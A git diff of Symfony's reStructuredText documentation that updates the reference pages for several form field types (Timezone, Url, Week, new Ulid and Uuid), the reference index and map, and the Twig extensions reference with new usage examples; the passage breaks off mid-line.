option set to ``false`` can cause unexpected behavior in the client as the @@ -220,6 +190,8 @@ error_bubbling **default**: ``false`` +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -241,8 +213,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/inherit_data.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -265,4 +235,4 @@ Form Variables | | | contains the input type to use (``datetime``, ``date`` or ``time``). | +--------------+-------------+----------------------------------------------------------------------+ -.. _`PHP time format`: https://secure.php.net/manual/en/function.date.php +.. _`PHP time format`: https://php.net/manual/en/function.date.php diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst index c18cdbaf339..d2af713f1c8 100644 --- a/reference/forms/types/timezone.rst +++ b/reference/forms/types/timezone.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; TimezoneType - TimezoneType Field ================== @@ -14,45 +11,15 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the field type automatically uses a large list of timezones. You *can* specify the option manually, but then you should just use the ``ChoiceType`` directly. -+-------------+------------------------------------------------------------------------+ -| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | -+-------------+------------------------------------------------------------------------+ -| Options | - `input`_ | -| | - `intl`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `choices`_ | -| options | - `choice_translation_domain`_ | -+-------------+------------------------------------------------------------------------+ -| Inherited | from the :doc:`ChoiceType </reference/forms/types/choice>` | -| options | | -| | - `expanded`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -| | - `trim`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>` | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+------------------------------------------------------------------------+ +| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | ++---------------------------+------------------------------------------------------------------------+ +| Default invalid message | Please select a valid timezone. | ++---------------------------+------------------------------------------------------------------------+ +| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | ++---------------------------+------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` | ++---------------------------+------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -100,24 +67,30 @@ Overridden Options The Timezone type defaults the choices to all timezones returned by :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent. -.. caution:: +.. warning:: If you want to override the built-in choices of the timezone type, you will also have to set the ``choice_loader`` option to ``null``. .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`: +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + .. include:: /reference/forms/types/options/expanded.rst.inc .. include:: /reference/forms/types/options/multiple.rst.inc .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + .. include:: /reference/forms/types/options/preferred_choices.rst.inc .. include:: /reference/forms/types/options/choice_type_trim.rst.inc @@ -130,8 +103,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -139,8 +111,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -156,6 +127,8 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -164,4 +137,4 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/row_attr.rst.inc -.. _`ICU Project`: http://site.icu-project.org/ +.. _`ICU Project`: https://icu.unicode.org/ diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst new file mode 100644 index 00000000000..71fb77cffa0 --- /dev/null +++ b/reference/forms/types/ulid.rst @@ -0,0 +1,67 @@ +UlidType Field +============== + +Renders an input text field with the ULID string value and transforms it back to +a proper :ref:`Ulid object <ulid>` when submitting the form. + ++---------------------------+-----------------------------------------------------------------------+ +| Rendered as | ``input`` ``text`` field | ++---------------------------+-----------------------------------------------------------------------+ +| Default invalid message | Please enter a valid ULID. | ++---------------------------+-----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+-----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType` | ++---------------------------+-----------------------------------------------------------------------+ + +.. include:: /reference/forms/types/options/_debug_form.rst.inc + +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/compound_type.rst.inc + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + +Inherited Options +----------------- + +These options inherit from the :doc:`FormType </reference/forms/types/form>`: + +.. include:: /reference/forms/types/options/attr.rst.inc + +.. include:: /reference/forms/types/options/data.rst.inc + +.. include:: /reference/forms/types/options/disabled.rst.inc + +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc + +The default value is ``''`` (the empty string). + +.. include:: /reference/forms/types/options/empty_data_description.rst.inc + +.. include:: /reference/forms/types/options/error_bubbling.rst.inc + +.. include:: /reference/forms/types/options/error_mapping.rst.inc + +.. include:: /reference/forms/types/options/help.rst.inc + +.. include:: /reference/forms/types/options/help_attr.rst.inc + +.. include:: /reference/forms/types/options/help_html.rst.inc + +.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc + +.. include:: /reference/forms/types/options/label.rst.inc + +.. include:: /reference/forms/types/options/label_attr.rst.inc + +.. include:: /reference/forms/types/options/label_html.rst.inc + +.. include:: /reference/forms/types/options/label_format.rst.inc + +.. include:: /reference/forms/types/options/mapped.rst.inc + +.. include:: /reference/forms/types/options/required.rst.inc + +.. include:: /reference/forms/types/options/row_attr.rst.inc diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst index a03f1532021..9c6dde6072e 100644 --- a/reference/forms/types/url.rst +++ b/reference/forms/types/url.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; UrlType - UrlType Field ============= @@ -8,32 +5,15 @@ The ``UrlType`` field is a text field that prepends the submitted value with a given protocol (e.g. ``http://``) if the submitted value doesn't already have a protocol. -+-------------+-------------------------------------------------------------------+ -| Rendered as | ``input url`` field | -+-------------+-------------------------------------------------------------------+ -| Options | - `default_protocol`_ | -+-------------+-------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+-------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+-------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` | -+-------------+-------------------------------------------------------------------+ ++---------------------------+-------------------------------------------------------------------+ +| Rendered as | ``input url`` field | ++---------------------------+-------------------------------------------------------------------+ +| Default invalid message | Please enter a valid URL. | ++---------------------------+-------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+-------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` | ++---------------------------+-------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -45,10 +25,27 @@ Field Options **type**: ``string`` **default**: ``http`` +Set this value to ``null`` to render the field using a ``<input type="url"/>``, +allowing the browser to perform local validation before submission. + +When this value is neither ``null`` nor an empty string, the form field is +rendered using a ``<input type="text"/>``. This ensures users can submit the +form field without specifying the protocol. + If a value is submitted that doesn't begin with some protocol (e.g. ``http://``, ``ftp://``, etc), this protocol will be prepended to the string when the data is submitted to the form. +.. deprecated:: 7.1 + + Not setting the ``default_protocol`` option is deprecated since Symfony 7.1 + and will default to ``null`` in Symfony 8.0. + +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -60,13 +57,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -82,6 +77,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst new file mode 100644 index 00000000000..664c446bba9 --- /dev/null +++ b/reference/forms/types/uuid.rst @@ -0,0 +1,67 @@ +UuidType Field +============== + +Renders an input text field with the UUID string value and transforms it back to +a proper :ref:`Uuid object <uuid>` when submitting the form. + ++---------------------------+-----------------------------------------------------------------------+ +| Rendered as | ``input`` ``text`` field | ++---------------------------+-----------------------------------------------------------------------+ +| Default invalid message | Please enter a valid UUID. | ++---------------------------+-----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+-----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType` | ++---------------------------+-----------------------------------------------------------------------+ + +.. include:: /reference/forms/types/options/_debug_form.rst.inc + +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/compound_type.rst.inc + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + +Inherited Options +----------------- + +These options inherit from the :doc:`FormType </reference/forms/types/form>`: + +.. include:: /reference/forms/types/options/attr.rst.inc + +.. include:: /reference/forms/types/options/data.rst.inc + +.. include:: /reference/forms/types/options/disabled.rst.inc + +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc + +The default value is ``''`` (the empty string). + +.. include:: /reference/forms/types/options/empty_data_description.rst.inc + +.. include:: /reference/forms/types/options/error_bubbling.rst.inc + +.. include:: /reference/forms/types/options/error_mapping.rst.inc + +.. include:: /reference/forms/types/options/help.rst.inc + +.. include:: /reference/forms/types/options/help_attr.rst.inc + +.. include:: /reference/forms/types/options/help_html.rst.inc + +.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc + +.. include:: /reference/forms/types/options/label.rst.inc + +.. include:: /reference/forms/types/options/label_attr.rst.inc + +.. include:: /reference/forms/types/options/label_html.rst.inc + +.. include:: /reference/forms/types/options/label_format.rst.inc + +.. include:: /reference/forms/types/options/mapped.rst.inc + +.. include:: /reference/forms/types/options/required.rst.inc + +.. include:: /reference/forms/types/options/row_attr.rst.inc diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst index 6967df09bb7..bcd39249015 100644 --- a/reference/forms/types/week.rst +++ b/reference/forms/types/week.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; WeekType - WeekType Field ============== @@ -10,39 +7,17 @@ This field type allows the user to modify data that represents a specific Can be rendered as a text input or select tags. The underlying format of the data can be a string or an array. -+----------------------+-----------------------------------------------------------------------------+ -| Underlying Data Type | can be a string, or array (see the ``input`` option) | -+----------------------+-----------------------------------------------------------------------------+ -| Rendered as | single text box, two text boxes or two select fields | -+----------------------+-----------------------------------------------------------------------------+ -| Options | - `choice_translation_domain`_ | -| | - `placeholder`_ | -| | - `html5`_ | -| | - `input`_ | -| | - `widget`_ | -| | - `weeks`_ | -| | - `years`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Overridden options | - `compound`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+----------------------+-----------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` | -+----------------------+-----------------------------------------------------------------------------+ ++---------------------------+--------------------------------------------------------------------+ +| Underlying Data Type | can be a string, or array (see the ``input`` option) | ++---------------------------+--------------------------------------------------------------------+ +| Rendered as | single text box, two text boxes or two select fields | ++---------------------------+--------------------------------------------------------------------+ +| Default invalid message | Please enter a valid week. | ++---------------------------+--------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+--------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` | ++---------------------------+--------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -75,7 +50,7 @@ values for the year and week fields:: 'placeholder' => [ 'year' => 'Year', 'week' => 'Week', - ] + ], ]); .. include:: /reference/forms/types/options/html5.rst.inc @@ -122,22 +97,22 @@ Overridden Options .. include:: /reference/forms/types/options/compound_type.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: * If ``widget`` is ``single_text``, then ``''`` (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc error_bubbling ~~~~~~~~~~~~~~ **default**: ``false`` +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -157,8 +132,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/inherit_data.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/index.rst b/reference/index.rst index 82edbcc0130..38e0e38800e 100644 --- a/reference/index.rst +++ b/reference/index.rst @@ -1,26 +1,4 @@ Reference Documents =================== -.. toctree:: - :hidden: - - configuration/framework - configuration/doctrine - configuration/security - configuration/swiftmailer - configuration/twig - configuration/monolog - configuration/web_profiler - configuration/debug - - configuration/kernel - - forms/types - constraints - - twig_reference - - dic_tags - events - .. include:: /reference/map.rst.inc diff --git a/reference/map.rst.inc b/reference/map.rst.inc index aa92cebc144..22788c2d509 100644 --- a/reference/map.rst.inc +++ b/reference/map.rst.inc @@ -1,30 +1,39 @@ -* **Configuration Options** - - Ever wondered what configuration options you have available to you in - ``config/packages/*.yaml`` files? In this section, all the available - configuration is broken down by the key (e.g. ``framework``) that defines - each possible section of your Symfony configuration. - - * :doc:`framework </reference/configuration/framework>` - * :doc:`doctrine </reference/configuration/doctrine>` - * :doc:`security </reference/configuration/security>` - * :doc:`swiftmailer </reference/configuration/swiftmailer>` - * :doc:`twig </reference/configuration/twig>` - * :doc:`monolog </reference/configuration/monolog>` - * :doc:`web_profiler </reference/configuration/web_profiler>` - * :doc:`debug </reference/configuration/debug>` +Configuration Options +--------------------- -* :doc:`Configuring the Kernel </reference/configuration/kernel>` +Ever wondered what configuration options you have available to you in +``config/packages/*.yaml`` files? In this section, all the available +configuration is broken down by the key (e.g. ``framework``) that defines +each possible section of your Symfony configuration. -* **Forms and Validation** +* :doc:`framework </reference/configuration/framework>` +* :doc:`doctrine </reference/configuration/doctrine>` +* :doc:`security </reference/configuration/security>` +* :doc:`twig </reference/configuration/twig>` +* :doc:`monolog </reference/configuration/monolog>` +* :doc:`web_profiler </reference/configuration/web_profiler>` +* :doc:`debug </reference/configuration/debug>` - * :doc:`Form Field Type Reference </reference/forms/types>` - * :doc:`Validation Constraints Reference </reference/constraints>` - * :ref:`Twig Template Function and Variable Reference <reference-form-twig-functions-variables>` +Forms and Validation +-------------------- -* :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>` +* :doc:`Form Field Type Reference </reference/forms/types>` +* :doc:`Validation Constraints Reference </reference/constraints>` +* :ref:`Twig Template Function and Variable Reference <reference-form-twig-functions-variables>` + +Format Specifications +--------------------- -* **Other Areas** +* :doc:`YAML </reference/formats/yaml>` +* :doc:`XLIFF </reference/formats/xliff>` +* :doc:`ICU MessageFormat </reference/formats/message_format>` +* :doc:`Expression Language </reference/formats/expression_language>` - * :doc:`/reference/dic_tags` - * :doc:`/reference/events` +Others +------ + +* :doc:`Configuring the Kernel </reference/configuration/kernel>` +* :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>` +* :doc:`/reference/dic_tags` +* :doc:`Symfony Attributes Overview </reference/attributes>` +* :doc:`/reference/events` diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index 270c9c678c8..633d4c7f0c6 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -1,6 +1,3 @@ -.. index:: - single: Symfony Twig extensions - Twig Extensions Defined by Symfony ================================== @@ -12,7 +9,7 @@ components with Twig templates. This article explains them all. .. tip:: If these extensions provided by Symfony are not enough, you can - :doc:`create a custom Twig extension </templating/twig_extension>` to define + :ref:`create a custom Twig extension <templates-twig-extension>` to define even more filters and functions. .. _reference-twig-functions: @@ -63,6 +60,24 @@ falls back to the behavior of `render`_ otherwise. in the function name, e.g. ``render_hinclude()`` will use the hinclude.js strategy. This works for all ``render_*()`` functions. +fragment_uri +~~~~~~~~~~~~ + +.. code-block:: twig + + {{ fragment_uri(controller, absolute = false, strict = true, sign = true) }} + +``controller`` + **type**: ``ControllerReference`` +``absolute`` *(optional)* + **type**: ``boolean`` **default**: ``false`` +``strict`` *(optional)* + **type**: ``boolean`` **default**: ``true`` +``sign`` *(optional)* + **type**: ``boolean`` **default**: ``true`` + +Generates the URI of :ref:`a fragment <fragments-path-config>`. + controller ~~~~~~~~~~ @@ -81,6 +96,11 @@ Returns an instance of ``ControllerReference`` to be used with functions like :ref:`render() <reference-twig-function-render>` and :ref:`render_esi() <reference-twig-function-render-esi>`. +.. code-block:: twig + + {{ render(controller('App\\Controller\\BlogController:latest', {max: 3})) }} + {# output: the content returned by the controller method; e.g. a rendered Twig template #} + .. _reference-twig-function-asset: asset @@ -95,26 +115,46 @@ asset ``packageName`` *(optional)* **type**: ``string`` | ``null`` **default**: ``null`` +.. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + assets: + packages: + foo_package: + base_path: /avatars + +.. code-block:: twig + + {# the image lives at "public/avatars/avatar.png" #} + {{ asset(path = 'avatar.png', packageName = 'foo_package') }} + {# output: /avatars/avatar.png #} + Returns the public path of the given asset path (which can be a CSS file, a JavaScript file, an image path, etc.). This function takes into account where the application is installed (e.g. in case the project is accessed in a host subdirectory) and the optional asset package base path. Symfony provides various cache busting implementations via the -:ref:`reference-framework-assets-version`, :ref:`reference-assets-version-strategy`, -and :ref:`reference-assets-json-manifest-path` configuration options. +:ref:`assets.version <reference-framework-assets-version>`, +:ref:`assets.version_strategy <reference-assets-version-strategy>`, +and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>` +configuration options. .. seealso:: Read more about :ref:`linking to web assets from templates <templates-link-to-assets>`. asset_version -~~~~~~~~~~~~~~ +~~~~~~~~~~~~~ .. code-block:: twig - {{ asset_version(packageName = null) }} + {{ asset_version(path, packageName = null) }} +``path`` + **type**: ``string`` ``packageName`` *(optional)* **type**: ``string`` | ``null`` **default**: ``null`` @@ -136,25 +176,52 @@ csrf_token Renders a CSRF token. Use this function if you want :doc:`CSRF protection </security/csrf>` in a regular HTML form not managed by the Symfony Form component. +.. code-block:: twig + + {{ csrf_token('my_form') }} + {# output: a random alphanumeric string like: + a.YOosAd0fhT7BEuUCFbROzrvgkW8kpEmBDQ_DKRMUi2o.Va8ZQKt5_2qoa7dLW-02_PLYwDBx9nnWOluUHUFCwC5Zo0VuuVfQCqtngg #} + is_granted ~~~~~~~~~~ .. code-block:: twig - {{ is_granted(role, object = null, field = null) }} + {{ is_granted(role, object = null) }} ``role`` **type**: ``string`` ``object`` *(optional)* **type**: ``object`` -``field`` *(optional)* - **type**: ``string`` Returns ``true`` if the current user has the given role. Optionally, an object can be passed to be used by the voter. More information can be found in :ref:`security-template`. +is_granted_for_user +~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 7.3 + + The ``is_granted_for_user()`` function was introduced in Symfony 7.3. + +.. code-block:: twig + + {{ is_granted_for_user(user, attribute, subject = null) }} + +``user`` + **type**: ``object`` +``attribute`` + **type**: ``string`` +``subject`` *(optional)* + **type**: ``object`` + +Returns ``true`` if the user is authorized for the specified attribute. + +Optionally, an object can be passed to be used by the voter. More information +can be found in :ref:`security-template`. + logout_path ~~~~~~~~~~~ @@ -168,6 +235,30 @@ logout_path Generates a relative logout URL for the given firewall. If no key is provided, the URL is generated for the current firewall the user is logged into. +.. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + logout: + path: '/logout' + othername: + # ... + logout: + path: '/other/logout' + +.. code-block:: twig + + {{ logout_path(key = 'main') }} + {# output: /logout #} + + {{ logout_path(key = 'othername') }} + {# output: /other/logout #} + logout_url ~~~~~~~~~~ @@ -181,6 +272,30 @@ logout_url Equal to the `logout_path`_ function, but it'll generate an absolute URL instead of a relative one. +.. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + logout: + path: '/logout' + othername: + # ... + logout: + path: '/other/logout' + +.. code-block:: twig + + {{ logout_url(key = 'main') }} + {# output: http://example.org/logout #} + + {{ logout_url(key = 'othername') }} + {# output: http://example.org/other/logout #} + path ~~~~ @@ -198,6 +313,16 @@ path Returns the relative URL (without the scheme and host) for the given route. If ``relative`` is enabled, it'll create a path relative to the current path. +.. code-block:: twig + + {# consider that the app defines an 'app_blog' route with the path '/blog/{page}' #} + + {{ path(name = 'app_blog', parameters = {page: 3}, relative = false) }} + {# output: /blog/3 #} + + {{ path(name = 'app_blog', parameters = {page: 3}, relative = true) }} + {# output: blog/3 #} + .. seealso:: Read more about :doc:`Symfony routing </routing>` and about @@ -220,11 +345,23 @@ url Returns the absolute URL (with scheme and host) for the given route. If ``schemeRelative`` is enabled, it'll create a scheme-relative URL. +.. code-block:: twig + + {# consider that the app defines an 'app_blog' route with the path '/blog/{page}' #} + + {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = false) }} + {# output: http://example.org/blog/3 #} + + {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = true) }} + {# output: //example.org/blog/3 #} + .. seealso:: Read more about :doc:`Symfony routing </routing>` and about :ref:`creating links in Twig templates <templates-link-to-pages>`. +.. _reference-twig-function-absolute-url: + absolute_url ~~~~~~~~~~~~ @@ -239,6 +376,8 @@ Returns the absolute URL (with scheme and host) from the passed relative path. C :ref:`asset() function <reference-twig-function-asset>` to generate absolute URLs for web assets. Read more about :ref:`Linking to CSS, JavaScript and Image Assets <templates-link-to-assets>`. +.. _reference-twig-function-relative-path: + relative_path ~~~~~~~~~~~~~ @@ -267,6 +406,38 @@ expression Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` related to the :doc:`ExpressionLanguage component </components/expression_language>`. +.. code-block:: twig + + {{ expression(1 + 2) }} + {# output: 3 #} + +impersonation_path +~~~~~~~~~~~~~~~~~~ + +.. code-block:: twig + + {{ impersonation_path(identifier) }} + +``identifier`` + **type**: ``string`` + +Generates a URL that you can visit to +:doc:`impersonate a user </security/impersonating_user>`, identified by the +``identifier`` argument. + +impersonation_url +~~~~~~~~~~~~~~~~~ + +.. code-block:: twig + + {{ impersonation_url(identifier) }} + +``identifier`` + **type**: ``string`` + +It's similar to the `impersonation_path`_ function, but it generates +absolute URLs instead of relative URLs. + impersonation_exit_path ~~~~~~~~~~~~~~~~~~~~~~~ @@ -277,10 +448,6 @@ impersonation_exit_path ``exitTo`` *(optional)* **type**: ``string`` -.. versionadded:: 5.2 - - The ``impersonation_exit_path()`` function was introduced in Symfony 5.2. - Generates a URL that you can visit to exit :doc:`user impersonation </security/impersonating_user>`. After exiting impersonation, the user is redirected to the current URI. If you prefer to redirect to a different URI, define its value in the ``exitTo`` argument. @@ -297,17 +464,13 @@ impersonation_exit_url ``exitTo`` *(optional)* **type**: ``string`` -.. versionadded:: 5.2 - - The ``impersonation_exit_url()`` function was introduced in Symfony 5.2. - It's similar to the `impersonation_exit_path`_ function, but it generates absolute URLs instead of relative URLs. .. _reference-twig-function-t: t -~ +~~~ .. code-block:: twig @@ -320,13 +483,51 @@ t ``domain`` *(optional)* **type**: ``string`` **default**: ``messages`` -.. versionadded:: 5.2 - - The ``t()`` function was introduced in Symfony 5.2. - Creates a ``Translatable`` object that can be passed to the :ref:`trans filter <reference-twig-filter-trans>`. +.. configuration-block:: + + .. code-block:: yaml + + # translations/blog.en.yaml + message: Hello %name% + + .. code-block:: xml + + <!-- translations/blog.en.xlf --> + <?xml version="1.0" encoding="UTF-8" ?> + <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> + <file source-language="en" datatype="plaintext" original="file.ext"> + <body> + <trans-unit id="message"> + <source>message</source> + <target>Hello %name%</target> + </trans-unit> + </body> + </file> + </xliff> + + .. code-block:: php + + // translations/blog.en.php + return [ + 'message' => "Hello %name%", + ]; + +Using the filter will be rendered as: + +.. code-block:: twig + + {{ t(message = 'message', parameters = {'%name%': 'John'}, domain = 'blog')|trans }} + {# output: Hello John #} + +importmap +~~~~~~~~~ + +Outputs the ``importmap`` & a few other items when using +:doc:`the Asset component </frontend/asset_mapper>`. + Form Related Functions ~~~~~~~~~~~~~~~~~~~~~~ @@ -342,6 +543,13 @@ explained in the article about :doc:`customizing form rendering </form/form_cust * :ref:`form_help() <reference-forms-twig-help>` * :ref:`form_row() <reference-forms-twig-row>` * :ref:`form_rest() <reference-forms-twig-rest>` +* :ref:`field_name() <reference-forms-twig-field-helpers>` +* :ref:`field_id() <reference-forms-twig-field-helpers>` +* :ref:`field_value() <reference-forms-twig-field-helpers>` +* :ref:`field_label() <reference-forms-twig-field-helpers>` +* :ref:`field_help() <reference-forms-twig-field-helpers>` +* :ref:`field_errors() <reference-forms-twig-field-helpers>` +* :ref:`field_choices() <reference-forms-twig-field-helpers>` .. _reference-twig-filters: @@ -360,9 +568,18 @@ humanize ``text`` **type**: ``string`` -Makes a technical name human readable (i.e. replaces underscores by spaces -or transforms camelCase text like ``helloWorld`` to ``hello world`` -and then capitalizes the string). +Transforms the given string into a human readable string (by replacing underscores +with spaces, capitalizing the string, etc.) It's useful e.g. when displaying +the names of PHP properties/variables to end users: + +.. code-block:: twig + + {{ 'dateOfBirth'|humanize }} {# renders: Date of birth #} + {{ 'DateOfBirth'|humanize }} {# renders: Date of birth #} + {{ 'date-of-birth'|humanize }} {# renders: Date-of-birth #} + {{ 'date_of_birth'|humanize }} {# renders: Date of birth #} + {{ 'date of birth'|humanize }} {# renders: Date of birth #} + {{ 'Date Of Birth'|humanize }} {# renders: Date of birth #} .. _reference-twig-filter-trans: @@ -382,13 +599,60 @@ trans ``locale`` *(optional)* **type**: ``string`` **default**: ``null`` -.. versionadded:: 5.2 - - ``message`` accepting ``Translatable`` as a valid type was introduced in Symfony 5.2. - Translates the text into the current language. More information in :ref:`Translation Filters <translation-filters>`. +.. configuration-block:: + + .. code-block:: yaml + + # translations/messages.en.yaml + message: Hello %name% + + .. code-block:: xml + + <!-- translations/messages.en.xlf --> + <?xml version="1.0" encoding="UTF-8" ?> + <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> + <file source-language="en" datatype="plaintext" original="file.ext"> + <body> + <trans-unit id="message"> + <source>message</source> + <target>Hello %name%</target> + </trans-unit> + </body> + </file> + </xliff> + + .. code-block:: php + + // translations/messages.en.php + return [ + 'message' => "Hello %name%", + ]; + +Using the filter will be rendered as: + +.. code-block:: twig + + {{ 'message'|trans(arguments = {'%name%': 'John'}, domain = 'messages', locale = 'en') }} + {# output: Hello John #} + +sanitize_html +~~~~~~~~~~~~~ + +.. code-block:: twig + + {{ body|sanitize_html(sanitizer = "default") 